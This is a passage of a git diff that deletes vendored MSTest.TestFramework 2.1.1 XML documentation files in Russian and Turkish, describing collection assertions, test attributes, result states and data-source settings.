including - the same number of duplicate occurrences of each element. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - содержит такие же элементы, что и . Сообщение - отображается в результатах тестирования. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, содержат ли две коллекции разные элементы, и создает - исключение, если две коллекции содержат одинаковые элементы (без учета - порядка). - - - Первая сравниваемая коллекция. Она содержит элементы, которые должны - отличаться от фактической коллекции с точки зрения теста. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - содержит такие же элементы, что и . Сообщение - отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Сообщение, которое будет добавлено в исключение, если элемент в - не является экземпляром - . Сообщение отображается в результатах тестирования. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет, все ли элементы в указанной коллекции являются экземплярами - ожидаемого типа, и создает исключение, если ожидаемый тип - не входит в иерархию наследования одного или нескольких элементов. - - - Содержащая элементы коллекция, которые с точки зрения теста должны иметь - указанный тип. - - - Ожидаемый тип каждого элемента . - - - Сообщение, которое будет добавлено в исключение, если элемент в - не является экземпляром - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Определяет, является ли первая коллекция подмножеством второй - коллекции. Если любое из множеств содержит одинаковые элементы, то число - вхождений элемента в подмножестве должно быть меньше или - равно количеству вхождений в супермножестве. - - - Коллекция, которая с точки зрения теста должна содержаться в . - - - Коллекция, которая с точки зрения теста должна содержать . - - - Значение True, если является подмножеством - , в противном случае — False. - - - - - Создает словарь с числом вхождений каждого элемента - в указанной коллекции. - - - Обрабатываемая коллекция. - - - Число элементов, имеющих значение NULL, в коллекции. - - - Словарь с числом вхождений каждого элемента - в указанной коллекции. - - - - - Находит несоответствующий элемент между двумя коллекциями. Несоответствующий - элемент — это элемент, количество вхождений которого в ожидаемой коллекции отличается - от фактической коллекции. В качестве коллекций - ожидаются различные ссылки, отличные от null, с одинаковым - количеством элементов. За этот уровень проверки отвечает - вызывающий объект. Если несоответствующих элементов нет, функция возвращает - False, и выходные параметры использовать не следует. - - - Первая сравниваемая коллекция. - - - Вторая сравниваемая коллекция. - - - Ожидаемое число вхождений - или 0, если несоответствующие элементы - отсутствуют. - - - Фактическое число вхождений - или 0, если несоответствующие элементы - отсутствуют. - - - Несоответствующий элемент (может иметь значение NULL) или значение NULL, если несоответствующий - элемент отсутствует. - - - Значение True, если был найден несоответствующий элемент, в противном случае — False. - - - - - сравнивает объекты при помощи object.Equals - - - - - Базовый класс для исключений платформы. - - - - - Инициализирует новый экземпляр класса . - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Строго типизированный класс ресурса для поиска локализованных строк и т. д. - - - - - Возвращает кэшированный экземпляр ResourceManager, использованный этим классом. - - - - - Переопределяет свойство CurrentUICulture текущего потока для всех операций - поиска ресурсов, в которых используется этот строго типизированный класс. - - - - - Ищет локализованную строку, похожую на "Синтаксис строки доступа неверен". - - - - - Ищет локализованную строку, похожую на "Ожидаемая коллекция содержит {1} вхождений <{2}>. Фактическая коллекция содержит {3} вхождений. {0}". - - - - - Ищет локализованную строку, похожую на "Обнаружен элемент-дубликат: <{1}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1}>. Фактическое значение имеет другой регистр: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Различие между ожидаемым значением <{1}> и фактическим значением <{2}> должно было составлять не больше <{3}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1} ({2})>. Фактическое: <{3} ({4})>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1}>. Фактическое: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Различие между ожидаемым значением <{1}> и фактическим значением <{2}> должно было составлять больше <{3}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидалось любое значение, кроме: <{1}>. Фактическое значение: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Не передавайте типы значений в AreSame(). Значения, преобразованные в объекты, никогда не будут одинаковыми. Воспользуйтесь методом AreEqual(). {0}". - - - - - Ищет локализованную строку, похожую на "Сбой {0}. {1}". - - - - - Ищет локализованную строку, аналогичную "Асинхронный метод TestMethod с UITestMethodAttribute не поддерживается. Удалите async или используйте TestMethodAttribute". - - - - - Ищет локализованную строку, похожую на "Обе коллекции пусты. {0}". - - - - - Ищет локализованную строку, похожую на "Обе коллекции содержат одинаковые элементы". - - - - - Ищет локализованную строку, похожую на "Ссылки на обе коллекции указывают на один объект коллекции. {0}". - - - - - Ищет локализованную строку, похожую на "Обе коллекции содержат одинаковые элементы. {0}". - - - - - Ищет локализованную строку, похожую на "{0}({1})". - - - - - Ищет локализованную строку, похожую на "(NULL)". - - - - - Ищет локализованную строку, похожую на "(объект)". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не содержит строку "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "{0} ({1})". - - - - - Ищет локализованную строку, похожую на "Assert.Equals не следует использовать для Assertions. Используйте Assert.AreEqual и переопределения". - - - - - Ищет локализованную строку, похожую на "Число элементов в коллекциях не совпадает. Ожидаемое число: <{1}>. Фактическое: <{2}>.{0}". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {0} не соответствует". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {1} имеет непредвиденный тип. Ожидаемый тип: <{2}>. Фактический тип: <{3}>.{0}". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {1} имеет значение (NULL). Ожидаемый тип: <{2}>.{0}". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не заканчивается строкой "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Недопустимый аргумент — EqualsTester не может использовать значения NULL". - - - - - Ищет локализованную строку, похожую на "Невозможно преобразовать объект типа {0} в {1}". - - - - - Ищет локализованную строку, похожую на "Внутренний объект, на который была сделана ссылка, более не действителен". - - - - - Ищет локализованную строку, похожую на "Параметр "{0}" недопустим. {1}". - - - - - Ищет локализованную строку, похожую на "Свойство {0} имеет тип {1}; ожидаемый тип: {2}". - - - - - Ищет локализованную строку, похожую на "{0} Ожидаемый тип: <{1}>. Фактический тип: <{2}>". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не соответствует шаблону "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Неправильный тип: <{1}>. Фактический тип: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" соответствует шаблону "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Не указан атрибут DataRowAttribute. Необходимо указать как минимум один атрибут DataRowAttribute с атрибутом DataTestMethodAttribute". - - - - - Ищет локализованную строку, похожую на "Исключение не было создано. Ожидалось исключение {1}. {0}". - - - - - Ищет локализованную строку, похожую на "Параметр "{0}" недопустим. Значение не может быть равно NULL. {1}". - - - - - Ищет локализованную строку, похожую на "Число элементов различается". - - - - - Ищет локализованную строку, похожую на - "Не удалось найти конструктор с указанной сигнатурой. Возможно, потребуется повторно создать закрытый метод доступа, - или элемент может быть закрытым и определяться в базовом классе. В последнем случае необходимо передать тип, - определяющий элемент, в конструктор класса PrivateObject". - . - - - - - Ищет локализованную строку, похожую на - "Не удалось найти указанный элемент ({0}). Возможно, потребуется повторно создать закрытый метод доступа, - или элемент может быть закрытым и определяться в базовом классе. В последнем случае необходимо передать тип, - определяющий элемент, в конструктор PrivateObject". - . - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не начинается со строки "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое исключение должно иметь тип System.Exception или производный от него тип". - - - - - Ищет локализованную строку, похожую на "(Не удалось получить сообщение для исключения типа {0} из-за исключения.)". - - - - - Ищет локализованную строку, похожую на "Метод теста не создал ожидаемое исключение {0}. {1}". - - - - - Ищет локализованную строку, похожую на "Метод теста не создал исключение. Исключение ожидалось атрибутом {0}, определенным в методе теста". - - - - - Ищет локализованную строку, похожую на "Метод теста создан исключение {0}, а ожидалось исключение {1}. Сообщение исключения: {2}". - - - - - Ищет локализованную строку, похожую на "Метод теста создал исключение {0}, а ожидалось исключение {1} или производный от него тип. Сообщение исключения: {2}". - - - - - Ищет локализованную строку, похожую на "Создано исключение {2}, а ожидалось исключение {1}. {0} - Сообщение исключения: {3} - Стек трассировки: {4}". - - - - - результаты модульного теста - - - - - Тест был выполнен, но при его выполнении возникли проблемы. - Эти проблемы могут включать исключения или сбой утверждений. - - - - - Тест завершен, но результат его завершения неизвестен. - Может использоваться для прерванных тестов. - - - - - Тест был выполнен без проблем. - - - - - Тест выполняется в данный момент. - - - - - При попытке выполнения теста возникла ошибка в системе. - - - - - Время ожидания для теста истекло. - - - - - Тест прерван пользователем. - - - - - Тест находится в неизвестном состоянии - - - - - Предоставляет вспомогательные функции для платформы модульных тестов - - - - - Получает сообщения с исключениями, включая сообщения для всех внутренних исключений - (рекурсивно) - - Исключение, для которого следует получить сообщения - строка с сообщением об ошибке - - - - Перечисление для времен ожидания, которое можно использовать с классом . - Тип перечисления должен соответствовать - - - - - Бесконечно. - - - - - Атрибут тестового класса. - - - - - Получает атрибут метода теста, включающий выполнение этого теста. - - Для этого метода определен экземпляр атрибута метода теста. - - для использования для выполнения этого теста. - Extensions can override this method to customize how all methods in a class are run. - - - - Атрибут метода теста. - - - - - Выполняет метод теста. - - Выполняемый метод теста. - Массив объектов TestResult, представляющих результаты теста. - Extensions can override this method to customize running a TestMethod. - - - - Атрибут инициализации теста. - - - - - Атрибут очистки теста. - - - - - Атрибут игнорирования. - - - - - Атрибут свойства теста. - - - - - Инициализирует новый экземпляр класса . - - - Имя. - - - Значение. - - - - - Получает имя. - - - - - Получает значение. - - - - - Атрибут инициализации класса. - - - - - Атрибут очистки класса. - - - - - Атрибут инициализации сборки. - - - - - Атрибут очистки сборки. - - - - - Владелец теста - - - - - Инициализирует новый экземпляр класса . - - - Владелец. - - - - - Получает владельца. - - - - - Атрибут Priority; используется для указания приоритета модульного теста. - - - - - Инициализирует новый экземпляр класса . - - - Приоритет. - - - - - Получает приоритет. - - - - - Описание теста - - - - - Инициализирует новый экземпляр класса для описания теста. - - Описание. - - - - Получает описание теста. - - - - - URI структуры проекта CSS - - - - - Инициализирует новый экземпляр класса для URI структуры проекта CSS. - - URI структуры проекта CSS. - - - - Получает URI структуры проекта CSS. - - - - - URI итерации CSS - - - - - Инициализирует новый экземпляр класса для URI итерации CSS. - - URI итерации CSS. - - - - Получает URI итерации CSS. - - - - - Атрибут WorkItem; используется для указания рабочего элемента, связанного с этим тестом. - - - - - Инициализирует новый экземпляр класса для атрибута WorkItem. - - Идентификатор рабочего элемента. - - - - Получает идентификатор связанного рабочего элемента. - - - - - Атрибут Timeout; используется для указания времени ожидания модульного теста. - - - - - Инициализирует новый экземпляр класса . - - - Время ожидания. - - - - - Инициализирует новый экземпляр класса с заданным временем ожидания - - - Время ожидания - - - - - Получает время ожидания. - - - - - Объект TestResult, который возвращается адаптеру. - - - - - Инициализирует новый экземпляр класса . - - - - - Получает или задает отображаемое имя результата. Удобно для возврата нескольких результатов. - Если параметр равен NULL, имя метода используется в качестве DisplayName. - - - - - Получает или задает результат выполнения теста. - - - - - Получает или задает исключение, создаваемое, если тест не пройден. - - - - - Получает или задает выходные данные сообщения, записываемого кодом теста. - - - - - Получает или задает выходные данные сообщения, записываемого кодом теста. - - - - - Получает или задает трассировки отладки для кода теста. - - - - - Gets or sets the debug traces by test code. - - - - - Получает или задает продолжительность выполнения теста. - - - - - Возвращает или задает индекс строки данных в источнике данных. Задается только для результатов выполнения - отдельных строк данных для теста, управляемого данными. - - - - - Получает или задает возвращаемое значение для метода теста. (Сейчас всегда равно NULL.) - - - - - Возвращает или задает файлы результатов, присоединенные во время теста. - - - - - Задает строку подключения, имя таблицы и метод доступа к строкам для тестов, управляемых данными. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Имя поставщика по умолчанию для DataSource. - - - - - Метод доступа к данным по умолчанию. - - - - - Инициализирует новый экземпляр класса . Этот экземпляр инициализируется с поставщиком данных, строкой подключения, таблицей данных и методом доступа к данным для доступа к источнику данных. - - Имя инвариантного поставщика данных, например System.Data.SqlClient - - Строка подключения для поставщика данных. - Внимание! Строка подключения может содержать конфиденциальные данные (например, пароль). - Строка подключения хранится в виде открытого текста в исходном коде и в скомпилированной сборке. - Ограничьте доступ к исходному коду и сборке для защиты конфиденциальных данных. - - Имя таблицы данных. - Задает порядок доступа к данным. - - - - Инициализирует новый экземпляр класса . Этот экземпляр будет инициализирован с строкой подключения и именем таблицы. - Укажите строку подключения и таблицу данных для доступа к источнику данных OLEDB. - - - Строка подключения для поставщика данных. - Внимание! Строка подключения может содержать конфиденциальные данные (например, пароль). - Строка подключения хранится в виде открытого текста в исходном коде и в скомпилированной сборке. - Ограничьте доступ к исходному коду и сборке для защиты конфиденциальных данных. - - Имя таблицы данных. - - - - Инициализирует новый экземпляр класса . Этот экземпляр инициализируется с поставщиком данных и строкой подключения, связанной с именем параметра. - - Имя источника данных, обнаруженного в разделе <microsoft.visualstudio.qualitytools> файла app.config. - - - - Получает значение, представляющее поставщик данных для источника данных. - - - Имя поставщика данных. Если поставщик данных не был определен при инициализации объекта, будет возвращен поставщик по умолчанию, System.Data.OleDb. - - - - - Получает значение, представляющее строку подключения для источника данных. - - - - - Получает значение с именем таблицы, содержащей данные. - - - - - Возвращает метод, используемый для доступа к источнику данных. - - - - Один из значений. Если не инициализировано, возвращается значение по умолчанию . - - - - - Возвращает имя источника данных, обнаруженное в разделе <microsoft.visualstudio.qualitytools> файла app.config. - - - - - Атрибут для тестов, управляемых данными, в которых данные могут быть встроенными. - - - - - Найти все строки данных и выполнить. - - - Метод теста. - - - Массив . - - - - - Выполнение метода теста, управляемого данными. - - Выполняемый метод теста. - Строка данных. - Результаты выполнения. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index cfddb524..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Test başına dağıtım için dağıtım öğesi (dosya veya dizin) belirtmek üzere kullanılır. - Test sınıfında veya test metodunda belirtilebilir. - Birden fazla öğe belirtmek için özniteliğin birden fazla örneğini içerebilir. - Öğe yolu mutlak veya göreli olabilir; göreli ise RunConfig.RelativePathRoot ile görelidir. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - sınıfının yeni bir örneğini başlatır. - - Dağıtılacak dosya veya dizin. Yol, derleme çıktı dizinine göredir. Öğe, dağıtılan test bütünleştirilmiş kodlarıyla aynı dizine kopyalanır. - - - - sınıfının yeni bir örneğini başlatır - - Dağıtılacak dosya veya dizinin göreli ya da mutlak yolu. Yol, derleme çıktı dizinine göredir. Öğe, dağıtılan test bütünleştirilmiş kodlarıyla aynı dizine kopyalanır. - Öğelerin kopyalanacağı dizinin yolu. Dağıtım dizinine göre mutlak veya göreli olabilir. Tüm dosyalar ve dizinler şuna göre tanımlanır: bu dizine kopyalanacak. - - - - Kopyalanacak kaynak dosya veya klasörün yolunu alır. - - - - - Öğenin kopyalandığı dizinin yolunu alır. - - - - - TestContext sınıfı. Bu sınıf tamamen soyut olmalı ve herhangi bir üye - içermemelidir. Üyeler bağdaştırıcı tarafından uygulanır. Çerçevedeki kullanıcılar - buna yalnızca iyi tanımlanmış bir arabirim üzerinden erişmelidir. - - - - - Bir testin test özelliklerini alır. - - - - - O anda yürütülen test metodunu içeren sınıfın tam adını alır - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Yürütülmekte olan test metodunun Adını alır - - - - - Geçerli test sonucunu alır. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index b7a00291..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Yürütülecek TestMethod. - - - - - Test metodunun adını alır. - - - - - Test sınıfının adını alır. - - - - - Test metodunun dönüş türünü alır. - - - - - Test metodunun parametrelerini alır. - - - - - Test metodu için methodInfo değerini alır. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Test metodunu çağırır. - - - Test metoduna geçirilecek bağımsız değişkenler. (Örn. Veri temelli için) - - - Test yöntemi çağırma sonucu. - - - This call handles asynchronous test methods as well. - - - - - Test metodunun tüm özniteliklerini alır. - - - Üst sınıfta tanımlanan özniteliğin geçerli olup olmadığını belirtir. - - - Tüm öznitelikler. - - - - - Belirli bir türdeki özniteliği alır. - - System.Attribute type. - - Üst sınıfta tanımlanan özniteliğin geçerli olup olmadığını belirtir. - - - Belirtilen türün öznitelikleri. - - - - - Yardımcı. - - - - - Denetim parametresi null değil. - - - Parametre. - - - Parametre adı. - - - İleti. - - Throws argument null exception when parameter is null. - - - - Denetim parametresi null veya boş değil. - - - Parametre. - - - Parametre adı. - - - İleti. - - Throws ArgumentException when parameter is null. - - - - Veri tabanlı testlerde veri satırlarına erişme şekline yönelik sabit listesi. - - - - - Satırlar sıralı olarak döndürülür. - - - - - Satırlar rastgele sırayla döndürülür. - - - - - Bir test metodu için satır içi verileri tanımlayan öznitelik. - - - - - sınıfının yeni bir örneğini başlatır. - - Veri nesnesi. - - - - Bir bağımsız değişken dizisi alan sınıfının yeni bir örneğini başlatır. - - Bir veri nesnesi. - Daha fazla veri. - - - - Çağıran test metodu verilerini alır. - - - - - Özelleştirme için test sonuçlarında görünen adı alır veya ayarlar. - - - - - Onay sonuçlandırılmadı özel durumu. - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - sınıfının yeni bir örneğini başlatır. - - - - - InternalTestFailureException sınıfı. Bir test çalışmasının iç hatasını belirtmek için kullanılır - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - sınıfının yeni bir örneğini başlatır. - - Özel durum iletisi. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - Özel durum iletisi. - - - - sınıfının yeni bir örneğini başlatır. - - - - - Belirtilen türde bir özel durum beklemeyi belirten öznitelik - - - - - Beklenen tür ile sınıfının yeni bir örneğini başlatır - - Beklenen özel durum türü - - - - Beklenen tür ve test tarafından özel durum oluşturulmadığında eklenecek ileti ile sınıfının - yeni bir örneğini başlatır. - - Beklenen özel durum türü - - Test bir özel durum oluşturmama nedeniyle başarısız olursa test sonucuna dahil edilecek ileti - - - - - Beklenen özel durumun Türünü belirten bir değer alır - - - - - Beklenen özel durumun türünden türetilmiş türlerin beklenen özel durum türü olarak değerlendirilmesine izin verilip verilmeyeceğini - belirten değeri alır veya ayarlar - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Birim testi tarafından oluşturulan özel durum türünün beklendiğini doğrular - - Birim testi tarafından oluşturulan özel durum - - - - Birim testinden bir özel durum beklemek için belirtilen özniteliklerin temel sınıfı - - - - - Varsayılan bir 'özel durum yok' iletisi ile sınıfının yeni bir örneğini başlatır - - - - - Bir 'özel durum yok' iletisi ile sınıfının yeni bir örneğini başlatır - - - Test bir özel durum oluşturmama nedeniyle başarısız olursa test sonucuna - dahil edilecek özel durum - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Varsayılan 'özel durum yok' iletisini alır - - ExpectedException özniteliği tür adı - Özel durum olmayan varsayılan ileti - - - - Özel durumun beklenip beklenmediğini belirler. Metot dönüş yapıyorsa, özel - durumun beklendiği anlaşılır. Metot bir özel durum oluşturuyorsa, özel durumun - beklenmediği anlaşılır ve oluşturulan özel durumun iletisi test sonucuna - eklenir. Kolaylık sağlamak amacıyla sınıfı kullanılabilir. - kullanılırsa ve onaylama başarısız olursa, - test sonucu Belirsiz olarak ayarlanır. - - Birim testi tarafından oluşturulan özel durum - - - - Özel durum bir AssertFailedException veya AssertInconclusiveException ise özel durumu yeniden oluşturur - - Bir onaylama özel durumu ise yeniden oluşturulacak özel durum - - - - Bu sınıf, kullanıcının genel türler kullanan türlere yönelik birim testleri yapmasına yardımcı olmak üzere tasarlanmıştır. - GenericParameterHelper bazı genel tür kısıtlamalarını yerine getirir; - örneğin: - 1. genel varsayılan oluşturucu - 2. ortak arabirim uygular: IComparable, IEnumerable - - - - - sınıfının C# genel türlerindeki 'newable' - kısıtlamasını karşılayan yeni bir örneğini başlatır. - - - This constructor initializes the Data property to a random value. - - - - - sınıfının, Data özelliğini kullanıcı - tarafından sağlanan bir değerle başlatan yeni bir örneğini başlatır. - - Herhangi bir tamsayı değeri - - - - Verileri alır veya ayarlar - - - - - İki GenericParameterHelper nesnesi için değer karşılaştırması yapar - - karşılaştırma yapılacak nesne - nesne bu 'this' GenericParameterHelper nesnesiyle aynı değere sahipse true. - aksi takdirde false. - - - - Bu nesne için bir karma kod döndürür. - - Karma kod. - - - - İki nesnesinin verilerini karşılaştırır. - - Karşılaştırılacak nesne. - - Bu örnek ve değerin göreli değerlerini gösteren, işaretli sayı. - - - Thrown when the object passed in is not an instance of . - - - - - Uzunluğu Data özelliğinden türetilmiş bir IEnumerator nesnesi - döndürür. - - IEnumerator nesnesi - - - - Geçerli nesneye eşit olan bir GenericParameterHelper nesnesi - döndürür. - - Kopyalanan nesne. - - - - Kullanıcıların tanılama amacıyla birim testlerindeki 